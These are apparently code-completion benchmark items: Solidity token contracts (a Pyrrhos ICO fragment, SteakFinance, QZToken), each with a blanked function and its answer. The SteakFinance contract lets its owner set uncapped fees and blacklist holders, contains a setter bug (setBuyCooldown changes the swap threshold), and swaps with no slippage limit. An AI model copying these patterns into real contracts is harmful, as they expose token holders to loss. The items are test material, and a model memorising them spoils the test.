------------------------------------------------------------------------ // Function to mint tokens // _to The address that will receive the minted tokens. // _amount The amount of tokens to mint. // A boolean that indicates if the operation was successful. // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount > 0); uint newamount = _amount * 10**uint(decimals); _totalSupply = _totalSupply.add(newamount); balances[_to] = balances[_to].add(newamount); emit Mint(_to, newamount); emit Transfer(address(0), _to, newamount); return true; } // ------------------------------------------------------------------------ // function to stop the ICO // ------------------------------------------------------------------------ function stopICO() onlyOwner public { isStopped = true; } // ------------------------------------------------------------------------ // function to resume ICO // ------------------------------------------------------------------------ function resumeICO() onlyOwner public { isStopped = false; } }
symbol = "PYR"; name = "Pyrrhos"; decimals = 18; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; RATE = 26300000; // 1 ETH = 2630 PYR DENOMINATOR = 10000; emit Transfer(address(0), owner, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
23,669
SteakFinance
distributeTeam
contract SteakFinance is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; using SafeCast for int256; string private _name = "SteakFinance"; string private _symbol = "STK"; uint8 private _decimals = 5; mapping(address => uint256) internal _reflectionBalance; mapping(address => uint256) internal _tokenBalance; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private constant MAX = ~uint256(0); uint256 internal _tokenTotal = 100_000_000_000e5; uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal)); mapping(address => bool) isTaxless; mapping(address => bool) internal _isExcluded; address[] internal _excluded; //all fees uint256 public feeDecimal = 2; uint256 public teamFee = 250; uint256 public liquidityFee = 250; uint256 public taxFee = 250; uint256 public p2pTaxFee = 500; uint256 public feeTotal; address public teamWallet; address public interestWallet; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public isFeeActive = false; // should be true mapping(address => bool) public bots; uint256 public maxTxAmount = _tokenTotal.div(1000);// 0.1% uint256 public maxPriceImpact = 200; // 2% uint256 public minTokensBeforeSwap = 1000_000e5; bool public cooldownEnabled = true; mapping(address => uint256) public sellCooldown; mapping(address => uint256) public buyCooldown; mapping(address => uint256) public sellCount; mapping(address => uint256) public sellCooldownStart; uint256 public buyCooldownTime = 2 minutes; uint256[] public sellCooldownTimes; uint256 public sellCooldownPeriod = 1 days; uint256 public sellPenaltyMultiplier = 3; bool public p2pTaxEnabled = true; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() public { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap Router For Ethereum uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; address _owner = 0xA5Bc1AaF013963f3a234ca050649c52a39F00Ea0; teamWallet = 0x9251d6cd44648Be331992D263a0ECa5c61dFBf1E; interestWallet = 0x7fb9482DE43B8e1dA59Bbd08f55A182799bCDb7B; isTaxless[_owner] = true; isTaxless[address(this)] = true; isTaxless[teamWallet] = true; isTaxless[interestWallet] = true; sellCooldownTimes.push(1 hours); sellCooldownTimes.push(2 hours); sellCooldownTimes.push(6 hours); sellCooldownTimes.push(sellCooldownPeriod); _isExcluded[uniswapV2Pair] = true; _excluded.push(uniswapV2Pair); _isExcluded[interestWallet] = true; _excluded.push(interestWallet); _isExcluded[_owner] = true; _excluded.push(_owner); uint256 interestBalance = reflectionFromToken(50_000_000_000e5); _reflectionBalance[interestWallet] = interestBalance; _tokenBalance[interestWallet] = _tokenBalance[interestWallet].add(50_000_000_000e5); emit Transfer(address(0), interestWallet, 50_000_000_000e5); _reflectionBalance[_owner] = _reflectionTotal.sub(interestBalance); _tokenBalance[_owner] = _tokenBalance[_owner].add(50_000_000_000e5); emit Transfer(address(0), _owner, 50_000_000_000e5); transferOwnership(_owner); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public override view returns (uint256) { return _tokenTotal; } function balanceOf(address account) public override view returns (uint256) { if (_isExcluded[account]) return _tokenBalance[account]; return tokenFromReflection(_reflectionBalance[account]); } function transfer(address recipient, uint256 amount) public override virtual returns (bool) { _transfer(_msgSender(),recipient,amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override virtual returns (bool) { _transfer(sender,recipient,amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tokenAmount) public view returns (uint256) { require(tokenAmount <= _tokenTotal, "Amount must be less than supply"); return tokenAmount.mul(_getReflectionRate()); } function tokenFromReflection(uint256 reflectionAmount) public view returns (uint256) { require( reflectionAmount <= _reflectionTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getReflectionRate(); return reflectionAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require( account != address(uniswapV2Router), "TOKEN: We can not exclude Uniswap router." ); require(!_isExcluded[account], "TOKEN: Account is already excluded"); if (_reflectionBalance[account] > 0) { _tokenBalance[account] = tokenFromReflection( _reflectionBalance[account] ); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "TOKEN: Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tokenBalance[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[sender] && !bots[recipient], "Banned!"); require( isTaxless[sender] || isTaxless[recipient] || (amount <= maxTxAmount && amount <= balanceOf(uniswapV2Pair).mul(maxPriceImpact).div(10**(feeDecimal + 2))), "Max Transfer Limit Exceeds!"); uint256 transferAmount = amount; uint256 rate = _getReflectionRate(); //swapAndLiquify uint256 contractTokenBalance = balanceOf(address(this)); uint256 teamBal = balanceOf(teamWallet); if (!inSwapAndLiquify && sender != uniswapV2Pair && swapAndLiquifyEnabled) { if(contractTokenBalance >= minTokensBeforeSwap) swapAndLiquify(contractTokenBalance); else if(teamBal >= minTokensBeforeSwap) { _reflectionBalance[teamWallet] = _reflectionBalance[teamWallet].sub(teamBal.mul(rate)); _reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(teamBal.mul(rate)); distributeTeam(teamBal); } } if(isFeeActive && !isTaxless[sender] && !isTaxless[recipient] && !inSwapAndLiquify) { transferAmount = collectFee(sender,recipient,amount,rate); } //transfer reflection _reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate)); _reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate)); //if any account belongs to the excludedAccount transfer token if (_isExcluded[sender]) { _tokenBalance[sender] = _tokenBalance[sender].sub(amount); } if (_isExcluded[recipient]) { _tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount); } emit Transfer(sender, recipient, transferAmount); } function validateTradeAndGetFee(address from, address to) private returns(uint256, uint256, uint256) { // only use Cooldown when buying/selling on exchange if(!cooldownEnabled || (from != uniswapV2Pair && to != uniswapV2Pair)) return p2pTaxEnabled ? (p2pTaxFee, 0, 0) : (0,0,0); if(to != uniswapV2Pair && !isTaxless[to]) { require(buyCooldown[to] <= block.timestamp, "Err: Buy Cooldown"); buyCooldown[to] = block.timestamp + buyCooldownTime; } uint256 _teamFee = teamFee; uint256 _taxFee = taxFee; if(from != uniswapV2Pair && !isTaxless[from]) { require(sellCooldown[from] <= block.timestamp, "Err: Sell Cooldown"); if(sellCooldownStart[from] + sellCooldownPeriod < block.timestamp) { sellCount[from] = 0; sellCooldownStart[from] = block.timestamp; } for(uint256 i = 0; i < sellCooldownTimes.length; i++) { if(sellCount[from] == i) { sellCount[from]++; sellCooldown[from] = block.timestamp + sellCooldownTimes[i]; _teamFee = teamFee.mul(i == 0 ? 1 : i + sellPenaltyMultiplier); _taxFee = taxFee.mul(i == 0 ? 1 : i + sellPenaltyMultiplier); if(sellCooldownTimes.length == i + 1) sellCooldown[from] = sellCooldownStart[from] + sellCooldownPeriod; break; } } } return (_teamFee, _taxFee, liquidityFee); } function collectFee(address account, address to, uint256 amount, uint256 rate) private returns (uint256) { uint256 transferAmount = amount; (uint256 __teamFee , uint256 __taxFee, uint256 __liquidityFee) = validateTradeAndGetFee(account, to); //@dev liquidity fee if(__liquidityFee != 0){ uint256 _liquidityFee = amount.mul(__liquidityFee).div(10**(feeDecimal + 2)); transferAmount = transferAmount.sub(_liquidityFee); _reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(_liquidityFee.mul(rate)); if (_isExcluded[address(this)]) { _tokenBalance[address(this)] = _tokenBalance[address(this)].add(_liquidityFee); } feeTotal = feeTotal.add(_liquidityFee); emit Transfer(account,address(this),_liquidityFee); } //@dev team fee if(__teamFee != 0){ uint256 _teamFee = amount.mul(__teamFee).div(10**(feeDecimal + 2)); transferAmount = transferAmount.sub(_teamFee); _reflectionBalance[teamWallet] = _reflectionBalance[teamWallet].add(_teamFee.mul(rate)); if (_isExcluded[teamWallet]) { _tokenBalance[teamWallet] = _tokenBalance[teamWallet].add(_teamFee); } feeTotal = feeTotal.add(_teamFee); emit Transfer(account,teamWallet,_teamFee); } //@dev tax fee if(__taxFee != 0){ uint256 _taxFee = amount.mul(__taxFee).div(10**(feeDecimal + 2)); transferAmount = transferAmount.sub(_taxFee); _reflectionTotal = _reflectionTotal.sub(_taxFee.mul(rate)); feeTotal = feeTotal.add(_taxFee); } return transferAmount; } function _getReflectionRate() private view returns (uint256) { uint256 reflectionSupply = _reflectionTotal; uint256 tokenSupply = _tokenTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _reflectionBalance[_excluded[i]] > reflectionSupply || _tokenBalance[_excluded[i]] > tokenSupply ) return _reflectionTotal.div(_tokenTotal); reflectionSupply = reflectionSupply.sub( _reflectionBalance[_excluded[i]] ); tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]); } if (reflectionSupply < _reflectionTotal.div(_tokenTotal)) return _reflectionTotal.div(_tokenTotal); return reflectionSupply.div(tokenSupply); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { if(contractTokenBalance > maxTxAmount) contractTokenBalance = maxTxAmount; // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function distributeTeam(uint256 amount) private lockTheSwap {<FILL_FUNCTION_BODY> } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function burn(uint256 amount) external { uint256 rate = _getReflectionRate(); _reflectionBalance[msg.sender] = _reflectionBalance[msg.sender].sub(amount.mul(rate)); if(_isExcluded[msg.sender]) { _tokenBalance[msg.sender] = _tokenBalance[msg.sender].sub(amount); } _tokenTotal = _tokenTotal.sub(amount); _reflectionTotal = _reflectionTotal.sub(amount.mul(rate)); emit Transfer(msg.sender,address(0),amount); } function deliver(uint256 amount) external { require(!_isExcluded[msg.sender],'Excluded cannot call this!'); uint256 rate = _getReflectionRate(); _reflectionBalance[msg.sender] = _reflectionBalance[msg.sender].sub(amount.mul(rate)); _reflectionTotal = _reflectionTotal.sub(amount.mul(rate)); feeTotal = feeTotal.add(amount); emit Transfer(msg.sender,address(this),amount); } function setTaxless(address account, bool value) external onlyOwner { isTaxless[account] = value; } function setBots(address account, bool value) external onlyOwner { bots[account] = value; } function setSwapAndLiquifyEnabled(bool enabled) external onlyOwner { swapAndLiquifyEnabled = enabled; SwapAndLiquifyEnabledUpdated(enabled); } function setFeeActive(bool value) external onlyOwner { isFeeActive = value; } function setTeamFee(uint256 fee) external onlyOwner { teamFee = fee; } function setLiquidityFee(uint256 fee) external onlyOwner { liquidityFee = fee; } function setTaxFee(uint256 fee) external onlyOwner { taxFee = fee; } function setP2PTaxFee(uint256 fee) external onlyOwner { p2pTaxFee = fee; } function setTeamWallet(address wallet) external onlyOwner { teamWallet = wallet; } function setInterestWallet(address wallet) external onlyOwner { interestWallet = wallet; } function setMaxTransferAndPriceImpact(uint256 maxAmount, uint256 maxImpact) external onlyOwner { maxTxAmount = maxAmount; maxPriceImpact = maxImpact; } function setMinTokensBeforeSwap(uint256 amount) external onlyOwner { minTokensBeforeSwap = amount; } function setCooldonwEnabled(bool value) external onlyOwner { cooldownEnabled = value; } function setBuyCooldown(uint256 cooldown) external onlyOwner { minTokensBeforeSwap = cooldown; } function setSellCooldown(uint256 cooldownPeriod, uint256[] memory sellTimes) external onlyOwner { sellCooldownPeriod = cooldownPeriod; sellCooldownTimes = sellTimes; } function setSellPenaltyMultipier(uint256 value) external onlyOwner { sellPenaltyMultiplier = value; } function setP2pTaxEnabled(bool value) external onlyOwner { p2pTaxEnabled = value; } receive() external payable {} }
contract SteakFinance is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; using SafeCast for int256; string private _name = "SteakFinance"; string private _symbol = "STK"; uint8 private _decimals = 5; mapping(address => uint256) internal _reflectionBalance; mapping(address => uint256) internal _tokenBalance; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private constant MAX = ~uint256(0); uint256 internal _tokenTotal = 100_000_000_000e5; uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal)); mapping(address => bool) isTaxless; mapping(address => bool) internal _isExcluded; address[] internal _excluded; //all fees uint256 public feeDecimal = 2; uint256 public teamFee = 250; uint256 public liquidityFee = 250; uint256 public taxFee = 250; uint256 public p2pTaxFee = 500; uint256 public feeTotal; address public teamWallet; address public interestWallet; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public isFeeActive = false; // should be true mapping(address => bool) public bots; uint256 public maxTxAmount = _tokenTotal.div(1000);// 0.1% uint256 public maxPriceImpact = 200; // 2% uint256 public minTokensBeforeSwap = 1000_000e5; bool public cooldownEnabled = true; mapping(address => uint256) public sellCooldown; mapping(address => uint256) public buyCooldown; mapping(address => uint256) public sellCount; mapping(address => uint256) public sellCooldownStart; uint256 public buyCooldownTime = 2 minutes; uint256[] public sellCooldownTimes; uint256 public sellCooldownPeriod = 1 days; uint256 public sellPenaltyMultiplier = 3; bool public p2pTaxEnabled = true; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() public { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap Router For Ethereum uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; address _owner = 0xA5Bc1AaF013963f3a234ca050649c52a39F00Ea0; teamWallet = 0x9251d6cd44648Be331992D263a0ECa5c61dFBf1E; interestWallet = 0x7fb9482DE43B8e1dA59Bbd08f55A182799bCDb7B; isTaxless[_owner] = true; isTaxless[address(this)] = true; isTaxless[teamWallet] = true; isTaxless[interestWallet] = true; sellCooldownTimes.push(1 hours); sellCooldownTimes.push(2 hours); sellCooldownTimes.push(6 hours); sellCooldownTimes.push(sellCooldownPeriod); _isExcluded[uniswapV2Pair] = true; _excluded.push(uniswapV2Pair); _isExcluded[interestWallet] = true; _excluded.push(interestWallet); _isExcluded[_owner] = true; _excluded.push(_owner); uint256 interestBalance = reflectionFromToken(50_000_000_000e5); _reflectionBalance[interestWallet] = interestBalance; _tokenBalance[interestWallet] = _tokenBalance[interestWallet].add(50_000_000_000e5); emit Transfer(address(0), interestWallet, 50_000_000_000e5); _reflectionBalance[_owner] = _reflectionTotal.sub(interestBalance); _tokenBalance[_owner] = _tokenBalance[_owner].add(50_000_000_000e5); emit Transfer(address(0), _owner, 50_000_000_000e5); transferOwnership(_owner); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public override view returns (uint256) { return _tokenTotal; } function balanceOf(address account) public override view returns (uint256) { if (_isExcluded[account]) return _tokenBalance[account]; return tokenFromReflection(_reflectionBalance[account]); } function transfer(address recipient, uint256 amount) public override virtual returns (bool) { _transfer(_msgSender(),recipient,amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override virtual returns (bool) { _transfer(sender,recipient,amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tokenAmount) public view returns (uint256) { require(tokenAmount <= _tokenTotal, "Amount must be less than supply"); return tokenAmount.mul(_getReflectionRate()); } function tokenFromReflection(uint256 reflectionAmount) public view returns (uint256) { require( reflectionAmount <= _reflectionTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getReflectionRate(); return reflectionAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require( account != address(uniswapV2Router), "TOKEN: We can not exclude Uniswap router." ); require(!_isExcluded[account], "TOKEN: Account is already excluded"); if (_reflectionBalance[account] > 0) { _tokenBalance[account] = tokenFromReflection( _reflectionBalance[account] ); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "TOKEN: Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tokenBalance[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[sender] && !bots[recipient], "Banned!"); require( isTaxless[sender] || isTaxless[recipient] || (amount <= maxTxAmount && amount <= balanceOf(uniswapV2Pair).mul(maxPriceImpact).div(10**(feeDecimal + 2))), "Max Transfer Limit Exceeds!"); uint256 transferAmount = amount; uint256 rate = _getReflectionRate(); //swapAndLiquify uint256 contractTokenBalance = balanceOf(address(this)); uint256 teamBal = balanceOf(teamWallet); if (!inSwapAndLiquify && sender != uniswapV2Pair && swapAndLiquifyEnabled) { if(contractTokenBalance >= minTokensBeforeSwap) swapAndLiquify(contractTokenBalance); else if(teamBal >= minTokensBeforeSwap) { _reflectionBalance[teamWallet] = _reflectionBalance[teamWallet].sub(teamBal.mul(rate)); _reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(teamBal.mul(rate)); distributeTeam(teamBal); } } if(isFeeActive && !isTaxless[sender] && !isTaxless[recipient] && !inSwapAndLiquify) { transferAmount = collectFee(sender,recipient,amount,rate); } //transfer reflection _reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate)); _reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate)); //if any account belongs to the excludedAccount transfer token if (_isExcluded[sender]) { _tokenBalance[sender] = _tokenBalance[sender].sub(amount); } if (_isExcluded[recipient]) { _tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount); } emit Transfer(sender, recipient, transferAmount); } function validateTradeAndGetFee(address from, address to) private returns(uint256, uint256, uint256) { // only use Cooldown when buying/selling on exchange if(!cooldownEnabled || (from != uniswapV2Pair && to != uniswapV2Pair)) return p2pTaxEnabled ? (p2pTaxFee, 0, 0) : (0,0,0); if(to != uniswapV2Pair && !isTaxless[to]) { require(buyCooldown[to] <= block.timestamp, "Err: Buy Cooldown"); buyCooldown[to] = block.timestamp + buyCooldownTime; } uint256 _teamFee = teamFee; uint256 _taxFee = taxFee; if(from != uniswapV2Pair && !isTaxless[from]) { require(sellCooldown[from] <= block.timestamp, "Err: Sell Cooldown"); if(sellCooldownStart[from] + sellCooldownPeriod < block.timestamp) { sellCount[from] = 0; sellCooldownStart[from] = block.timestamp; } for(uint256 i = 0; i < sellCooldownTimes.length; i++) { if(sellCount[from] == i) { sellCount[from]++; sellCooldown[from] = block.timestamp + sellCooldownTimes[i]; _teamFee = teamFee.mul(i == 0 ? 1 : i + sellPenaltyMultiplier); _taxFee = taxFee.mul(i == 0 ? 1 : i + sellPenaltyMultiplier); if(sellCooldownTimes.length == i + 1) sellCooldown[from] = sellCooldownStart[from] + sellCooldownPeriod; break; } } } return (_teamFee, _taxFee, liquidityFee); } function collectFee(address account, address to, uint256 amount, uint256 rate) private returns (uint256) { uint256 transferAmount = amount; (uint256 __teamFee , uint256 __taxFee, uint256 __liquidityFee) = validateTradeAndGetFee(account, to); //@dev liquidity fee if(__liquidityFee != 0){ uint256 _liquidityFee = amount.mul(__liquidityFee).div(10**(feeDecimal + 2)); transferAmount = transferAmount.sub(_liquidityFee); _reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(_liquidityFee.mul(rate)); if (_isExcluded[address(this)]) { _tokenBalance[address(this)] = _tokenBalance[address(this)].add(_liquidityFee); } feeTotal = feeTotal.add(_liquidityFee); emit Transfer(account,address(this),_liquidityFee); } //@dev team fee if(__teamFee != 0){ uint256 _teamFee = amount.mul(__teamFee).div(10**(feeDecimal + 2)); transferAmount = transferAmount.sub(_teamFee); _reflectionBalance[teamWallet] = _reflectionBalance[teamWallet].add(_teamFee.mul(rate)); if (_isExcluded[teamWallet]) { _tokenBalance[teamWallet] = _tokenBalance[teamWallet].add(_teamFee); } feeTotal = feeTotal.add(_teamFee); emit Transfer(account,teamWallet,_teamFee); } //@dev tax fee if(__taxFee != 0){ uint256 _taxFee = amount.mul(__taxFee).div(10**(feeDecimal + 2)); transferAmount = transferAmount.sub(_taxFee); _reflectionTotal = _reflectionTotal.sub(_taxFee.mul(rate)); feeTotal = feeTotal.add(_taxFee); } return transferAmount; } function _getReflectionRate() private view returns (uint256) { uint256 reflectionSupply = _reflectionTotal; uint256 tokenSupply = _tokenTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _reflectionBalance[_excluded[i]] > reflectionSupply || _tokenBalance[_excluded[i]] > tokenSupply ) return _reflectionTotal.div(_tokenTotal); reflectionSupply = reflectionSupply.sub( _reflectionBalance[_excluded[i]] ); tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]); } if (reflectionSupply < _reflectionTotal.div(_tokenTotal)) return _reflectionTotal.div(_tokenTotal); return reflectionSupply.div(tokenSupply); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { if(contractTokenBalance > maxTxAmount) contractTokenBalance = maxTxAmount; // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } <FILL_FUNCTION> function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function burn(uint256 amount) external { uint256 rate = _getReflectionRate(); _reflectionBalance[msg.sender] = _reflectionBalance[msg.sender].sub(amount.mul(rate)); if(_isExcluded[msg.sender]) { _tokenBalance[msg.sender] = _tokenBalance[msg.sender].sub(amount); } _tokenTotal = _tokenTotal.sub(amount); _reflectionTotal = _reflectionTotal.sub(amount.mul(rate)); emit Transfer(msg.sender,address(0),amount); } function deliver(uint256 amount) external { require(!_isExcluded[msg.sender],'Excluded cannot call this!'); uint256 rate = _getReflectionRate(); _reflectionBalance[msg.sender] = _reflectionBalance[msg.sender].sub(amount.mul(rate)); _reflectionTotal = _reflectionTotal.sub(amount.mul(rate)); feeTotal = feeTotal.add(amount); emit Transfer(msg.sender,address(this),amount); } function setTaxless(address account, bool value) external onlyOwner { isTaxless[account] = value; } function setBots(address account, bool value) external onlyOwner { bots[account] = value; } function setSwapAndLiquifyEnabled(bool enabled) external onlyOwner { swapAndLiquifyEnabled = enabled; SwapAndLiquifyEnabledUpdated(enabled); } function setFeeActive(bool value) external onlyOwner { isFeeActive = value; } function setTeamFee(uint256 fee) external onlyOwner { teamFee = fee; } function setLiquidityFee(uint256 fee) external onlyOwner { liquidityFee = fee; } function setTaxFee(uint256 fee) external onlyOwner { taxFee = fee; } function setP2PTaxFee(uint256 fee) external onlyOwner { p2pTaxFee = fee; } function setTeamWallet(address wallet) external onlyOwner { teamWallet = wallet; } function setInterestWallet(address wallet) external onlyOwner { interestWallet = wallet; } function setMaxTransferAndPriceImpact(uint256 maxAmount, uint256 maxImpact) external onlyOwner { maxTxAmount = maxAmount; maxPriceImpact = maxImpact; } function setMinTokensBeforeSwap(uint256 amount) external onlyOwner { minTokensBeforeSwap = amount; } function setCooldonwEnabled(bool value) external onlyOwner { cooldownEnabled = value; } function setBuyCooldown(uint256 cooldown) external onlyOwner { minTokensBeforeSwap = cooldown; } function setSellCooldown(uint256 cooldownPeriod, uint256[] memory sellTimes) external onlyOwner { sellCooldownPeriod = cooldownPeriod; sellCooldownTimes = sellTimes; } function setSellPenaltyMultipier(uint256 value) external onlyOwner { sellPenaltyMultiplier = value; } function setP2pTaxEnabled(bool value) external onlyOwner { p2pTaxEnabled = value; } receive() external payable {} }
swapTokensForEth(amount); payable(teamWallet).transfer(address(this).balance);
function distributeTeam(uint256 amount) private lockTheSwap
function distributeTeam(uint256 amount) private lockTheSwap
63,237
QZToken
QZToken
contract QZToken is ERC223Token { /* Initializes contract with initial supply tokens to the creator of the contract */ function QZToken(string tokenName, string tokenSymbol, uint8 decimalUnits, uint256 initialSupply) public {<FILL_FUNCTION_BODY> } }
contract QZToken is ERC223Token { <FILL_FUNCTION> }
name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes totalSupply = initialSupply * 10 ** uint(decimalUnits); // Update total supply balances[msg.sender] = totalSupply; // Give the creator all initial tokens
function QZToken(string tokenName, string tokenSymbol, uint8 decimalUnits, uint256 initialSupply) public
